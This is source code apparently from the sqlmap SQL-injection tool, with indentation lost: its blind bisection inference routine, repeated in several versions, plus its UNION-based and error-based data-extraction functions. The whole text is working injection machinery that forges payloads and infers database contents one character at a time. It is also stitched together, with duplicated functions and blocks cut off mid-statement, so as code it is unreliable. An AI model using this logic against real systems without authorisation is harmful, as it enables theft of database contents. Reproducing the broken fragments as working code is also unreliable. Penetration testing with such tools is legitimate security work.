dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
queriesCount = [0] # As list to deal with nested scoping rules
hintlock = threading.Lock()
def tryHint(idx):
hintlock.acquire()
hintValue = kb.hintValue
hintlock.release()
if hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS,
DBMS.MAXDB):
posValue = hintValue[idx - 1]
else:
posValue = ord(hintValue[idx - 1])
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, posValue))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
if result:
return hintValue[idx - 1]
hintlock.acquire()
kb.hintValue = None
hintlock.release()
return None
def validateChar(idx, value):
"""
Used in time-based inference (in case that original and retrieved
value are not equal there will be a deliberate delay).
"""
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR),
(expressionUnescaped, idx, value))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
return not result
def getChar(idx,
charTbl=asciiTbl,
continuousOrder=True,
expand=charsetType is None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
originalTbl = list(charTbl)
if continuousOrder:
# Used for gradual expanding into unicode charspace
shiftTable = [5, 4]
if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
charTbl.remove(ord('\n'))
if len(charTbl) == 1:
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, charTbl[0]))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
while len(charTbl) != 1:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
if CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(
payload, (expressionUnescaped, idx, posValue))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.unescape(
markingValue % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(
payload, (expressionUnescaped, idx)).replace(
markingValue, unescapedCharValue)
queriesCount[0] += 1
result = Request.queryPage(forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,128*16-1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1,
(maxChar + 1) << shiftTable.pop())
originalTbl = list(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n')
and CHAR_INFERENCE_MARK
in payload):
if timeBasedCompare and not validateChar(
idx, retVal):
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
conf.timeSec += 1
warnMsg = "adjusting time delay to %d seconds" % conf.timeSec
logger.warn(warnMsg)
return getChar(idx, originalTbl,
continuousOrder, expand)
else:
return decodeIntToUnicode(retVal)
else:
return None
else:
if minValue == maxChar or maxValue == minChar:
return None
# If we are working with non-continuous elements, set
# both minValue and character afterwards are possible
# candidates
for retVal in (originalTbl[originalTbl.index(minValue)],
originalTbl[originalTbl.index(minValue) +
1]):
forgedPayload = safeStringFormat(
payload.replace(INFERENCE_GREATER_CHAR,
INFERENCE_EQUALS_CHAR),
(expressionUnescaped, idx, retVal))
queriesCount[0] += 1
result = Request.queryPage(
forgedPayload,
timeBasedCompare=timeBasedCompare,
raise404=False)
if result:
return decodeIntToUnicode(retVal)
return None
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ((length * 3) / 100):
eta = 0
else:
midTime = sum(progressTime) / len(progressTime)
midTimeWithLatest = (midTime + charTime) / 2
eta = midTimeWithLatest * (length - index) / conf.threads
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = [None] * length
index = [firstChar] # As list for python nested function scoping
idxlock = threading.Lock()
iolock = threading.Lock()
valuelock = threading.Lock()
kb.threadContinue = True
def downloadThread():
try:
while kb.threadContinue:
idxlock.acquire()
if index[0] >= length:
idxlock.release()
return
index[0] += 1
curidx = index[0]
idxlock.release()
if kb.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
valuelock.acquire()
value[curidx - 1] = val
currentValue = list(value)
valuelock.release()
if kb.threadContinue:
if showEta:
etaProgressUpdate(time.time() - charStart,
index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = 0
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[
i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex
== conf.progressWidth) and (endCharIndex <
length - 1):
output = output[:-2] + '..'
if conf.verbose in (1, 2) and not showEta:
output += '_' * (min(
length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%s)' % (
count, length, round(
100.0 * count / length), '%')
output += status if count != length else " " * len(
status)
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" %
(time.strftime("%X"),
filterControlChars(output)))
iolock.release()
if not kb.threadContinue:
if int(threading.currentThread().getName()
) == numThreads - 1:
partialValue = unicode()
for v in value:
if v is None:
break
elif isinstance(v, basestring):
partialValue += v
if len(partialValue) > 0:
dataToSessionFile(replaceNewlineTabs(partialValue))
except (sqlmapConnectionException, sqlmapValueException), errMsg:
print
kb.threadException = True
logger.error("thread %d: %s" % (numThread + 1, errMsg))
except KeyboardInterrupt:
kb.threadException = True
print
logger.debug("waiting for threads to finish")
try:
while (threading.activeCount() > 1):
pass
except KeyboardInterrupt:
raise sqlmapThreadException, "user aborted"
except:
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
partialValue = ""
finalValue = ""
asciiTbl = getCharset(charsetType)
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used
kb.partRun = getPartRun() if conf.predictOutput else None
if "LENGTH(" in expression or "LEN(" in expression:
firstChar = 0
elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ):
firstChar = int(conf.firstChar) - 1
elif firstChar is None:
firstChar = 0
elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
if "LENGTH(" in expression or "LEN(" in expression:
lastChar = 0
elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ):
lastChar = int(conf.lastChar)
elif lastChar in ( None, "0" ):
lastChar = 0
elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
lastChar = int(lastChar)
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
if length and not isinstance(length, int) and length.isdigit():
length = int(length)
if length == 0:
return 0, ""
if lastChar > 0 and length > ( lastChar - firstChar ):
length = ( lastChar - firstChar )
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length)
threads = []
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if numThreads > 1:
if not timeBasedCompare:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
debugMsg = "multi-threading is not considered safe in time-based data retrieval"
logger.debug(debugMsg)
numThreads = 1
if conf.verbose in (1, 2) and not showEta:
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
queriesCount = [0] # As list to deal with nested scoping rules
hintlock = threading.Lock()
def tryHint(idx):
hintlock.acquire()
hintValue = kb.hintValue
hintlock.release()
if hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB):
posValue = hintValue[idx-1]
else:
posValue = ord(hintValue[idx-1])
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result:
return hintValue[idx-1]
hintlock.acquire()
kb.hintValue = None
hintlock.release()
return None
def validateChar(idx, value):
"""
Used in time-based inference (in case that original and retrieved
value are not equal there will be a deliberate delay).
"""
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
return not result
def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
originalTbl = list(charTbl)
if continuousOrder:
# Used for gradual expanding into unicode charspace
shiftTable = [5, 4]
if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
charTbl.remove(ord('\n'))
if len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
while len(charTbl) != 1:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
if CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.unescape(markingValue % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
queriesCount[0] += 1
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,128*16-1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = list(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if timeBasedCompare and not validateChar(idx, retVal):
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
conf.timeSec += 1
warnMsg = "adjusting time delay to %d seconds" % conf.timeSec
logger.warn(warnMsg)
return getChar(idx, originalTbl, continuousOrder, expand)
else:
return decodeIntToUnicode(retVal)
else:
return None
else:
if minValue == maxChar or maxValue == minChar:
return None
# If we are working with non-continuous elements, set
# both minValue and character afterwards are possible
# candidates
for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result:
return decodeIntToUnicode(retVal)
return None
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0
else:
midTime = sum(progressTime) / len(progressTime)
midTimeWithLatest = (midTime + charTime) / 2
eta = midTimeWithLatest * (length - index) / conf.threads
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = [ None ] * length
index = [ firstChar ] # As list for python nested function scoping
idxlock = threading.Lock()
iolock = threading.Lock()
valuelock = threading.Lock()
kb.threadContinue = True
def downloadThread():
try:
while kb.threadContinue:
idxlock.acquire()
if index[0] >= length:
idxlock.release()
return
index[0] += 1
curidx = index[0]
idxlock.release()
if kb.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
valuelock.acquire()
value[curidx-1] = val
currentValue = list(value)
valuelock.release()
if kb.threadContinue:
if showEta:
etaProgressUpdate(time.time() - charStart, index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = 0
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1):
output = output[:-2] + '..'
if conf.verbose in (1, 2) and not showEta:
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
output += status if count != length else " "*len(status)
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
iolock.release()
if not kb.threadContinue:
if int(threading.currentThread().getName()) == numThreads - 1:
partialValue = unicode()
for v in value:
if v is None:
break
elif isinstance(v, basestring):
partialValue += v
if len(partialValue) > 0:
dataToSessionFile(replaceNewlineTabs(partialValue))
except (sqlmapConnectionException, sqlmapValueException), errMsg:
print
kb.threadException = True
logger.error("thread %d: %s" % (numThread + 1, errMsg))
except KeyboardInterrupt:
kb.threadException = True
print
logger.debug("waiting for threads to finish")
try:
while (threading.activeCount() > 1):
pass
except KeyboardInterrupt:
raise sqlmapThreadException, "user aborted"
except:
def unionUse(expression, unpack=True, dump=False):
"""
This function tests for an UNION SQL injection on the target
URL then call its subsidiary function to effectively perform an
UNION SQL injection on the affected URL
"""
initTechnique(PAYLOAD.TECHNIQUE.UNION)
abortedFlag = False
count = None
origExpr = expression
startLimit = 0
stopLimit = None
value = None
width = getConsoleWidth()
start = time.time()
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
kb.rowXmlMode = True
_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
output = _oneShotUnionUse(_, False)
value = parseUnionPage(output)
kb.rowXmlMode = False
if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
# Removed ORDER BY clause because UNION does not play well with it
expression = re.sub("\s*ORDER BY\s+[\w,]+", "", expression, re.I)
debugMsg = "stripping ORDER BY clause from statement because "
debugMsg += "it does not play well with UNION query SQL injection"
singleTimeDebugMessage(debugMsg)
# We have to check if the SQL query might return multiple entries
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
kb.forcePartialUnion or \
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
output = _oneShotUnionUse(countedExpression, unpack)
count = unArrayizeValue(parseUnionPage(output))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and (not isinstance(count, basestring) or not count.isdigit()):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
threadData = getCurrentThreadData()
try:
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def unionThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0]
elif Backend.isDbms(DBMS.ORACLE):
field = expressionFieldsList
else:
field = None
limitedExpr = agent.limitQuery(num, expression, field)
output = _oneShotUnionUse(limitedExpr, unpack, True)
if not kb.threadContinue:
break
if output:
with kb.locks.value:
if all(map(lambda _: _ in output, (kb.chars.start, kb.chars.stop))):
items = parseUnionPage(output)
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
if isListLike(items):
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len(items) > 1 and len(expressionFieldsList) > 1:
items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
items = [_ for _ in flattenValue(items)]
if len(items) > len(expressionFieldsList):
filtered = OrderedDict()
for item in items:
key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
filtered[key] = item
items = filtered.values()
items = [items]
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, items))
else:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, None))
items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
if not isNoneValue(_):
threadData.shared.value.extend(arrayizeValue(_))
del threadData.shared.buffered[0]
if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
_ = ",".join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
runThreads(numThreads, unionThread)
if conf.verbose == 1:
clearConsoleLine(True)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
for _ in sorted(threadData.shared.buffered):
if not isNoneValue(_[1]):
threadData.shared.value.extend(arrayizeValue(_[1]))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
output = _oneShotUnionUse(expression, unpack)
value = parseUnionPage(output)
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
logger.debug(debugMsg)
return value
def errorUse(expression, dump=False):
"""
Retrieve the output of a SQL query taking advantage of the error-based
SQL injection vulnerability on the affected parameter.
"""
initTechnique(kb.technique)
abortedFlag = False
count = None
emptyFields = []
start = time.time()
startLimit = 0
stopLimit = None
value = None
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
expression)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if conf.api else None
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (
" FROM " in expression.upper() and
((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or
(Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.
upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and
("(CASE" not in expression.upper() or
("(CASE" in expression.upper() and "WHEN use" in expression))
) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(
expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(
expressionFields,
queries[Backend.getIdentifiedDbms()].count.query %
('*' if len(expressionFieldsList) > 1 else expressionFields),
1)
if " ORDER BY " in countedExpression.upper():
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(
countedExpression)
count = unArrayizeValue(
_oneShotErrorUse(countedExpression, countedExpressionFields))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "used SQL query returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
value = [] # for empty tables
return value
if isNumPosStrValue(count) and int(count) > 1:
if " ORDER BY " in expression and (
stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
message = "due to huge table size do you want to remove "
message += "ORDER BY clause gaining speed over consistency? [y/N] "
if readInput(message, default="N", boolean=True):
expression = expression[:expression.index(" ORDER BY "
)]
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData = getCurrentThreadData()
try:
threadData.shared.limits = iter(
xrange(startLimit, stopLimit))
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (
startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
threadData.shared.value = BigArray()
threadData.shared.buffered = []
threadData.shared.counter = 0
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit -
startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(
maxValue=(stopLimit - startLimit))
if kb.dumpTable and (len(expressionFieldsList) <
(stopLimit - startLimit) >
CHECK_ZERO_COLUMNS_THRESHOLD):
for field in expressionFieldsList:
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" %
(field, kb.dumpTable)) == '0':
emptyFields.append(field)
debugMsg = "column '%s' of table '%s' will not be " % (
field, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
try:
def errorThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
with kb.locks.limit:
try:
valueStart = time.time()
threadData.shared.counter += 1
num = threadData.shared.limits.next()
except StopIteration:
break
output = _errorFields(expression, expressionFields,
expressionFieldsList, num,
emptyFields,
threadData.shared.showEta)
if not kb.threadContinue:
break
if output and isListLike(output) and len(
output) == 1:
output = output[0]
with kb.locks.value:
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(
time.time() - valueStart,
threadData.shared.counter)
for index in xrange(
1 + len(threadData.shared.buffered)):
if index < len(
threadData.shared.buffered
) and threadData.shared.buffered[index][
0] >= num:
break
threadData.shared.buffered.insert(
index or 0, (num, output))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[
0][0]:
threadData.shared.lastFlushed += 1
threadData.shared.value.append(
threadData.shared.buffered[0][1])
del threadData.shared.buffered[0]
runThreads(numThreads, errorThread)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
threadData.shared.value.extend(
_[1] for _ in sorted(threadData.shared.buffered))
value = threadData.shared.value
kb.suppressResumeInfo = False
if not value and not abortedFlag:
value = _errorFields(expression, expressionFields,
expressionFieldsList)
if value and isListLike(value) and len(value) == 1 and isinstance(
value[0], basestring):
value = value[0]
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (
kb.counters[kb.technique], duration)
logger.debug(debugMsg)
return value
def bisection(payload,
expression,
length=None,
charsetType=None,
firstChar=None,
lastChar=None,
dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
abortedFlag = False
showEta = False
partialValue = u""
finalValue = None
retrievedLength = 0
if payload is None:
return 0, None
if charsetType is None and conf.charset:
asciiTbl = sorted(set(ord(_) for _ in conf.charset))
else:
asciiTbl = getCharset(charsetType)
threadData = getCurrentThreadData()
timeBasedCompare = (getTechnique()
in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
retVal = hashDBRetrieve(expression, checkConf=True)
if retVal:
if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal:
pass
elif PARTIAL_HEX_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")
if retVal and conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(
partialValue)
logger.info(infoMsg)
elif PARTIAL_VALUE_MARKER in retVal:
retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
if retVal and not conf.hexConvert:
partialValue = retVal
infoMsg = "resuming partial value: %s" % safecharencode(
partialValue)
logger.info(infoMsg)
else:
infoMsg = "resumed: %s" % safecharencode(retVal)
logger.info(infoMsg)
return 0, retVal
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
if conf.predictOutput:
kb.partRun = getPartRun()
elif conf.api:
kb.partRun = getPartRun(alias=False)
else:
kb.partRun = None
if partialValue:
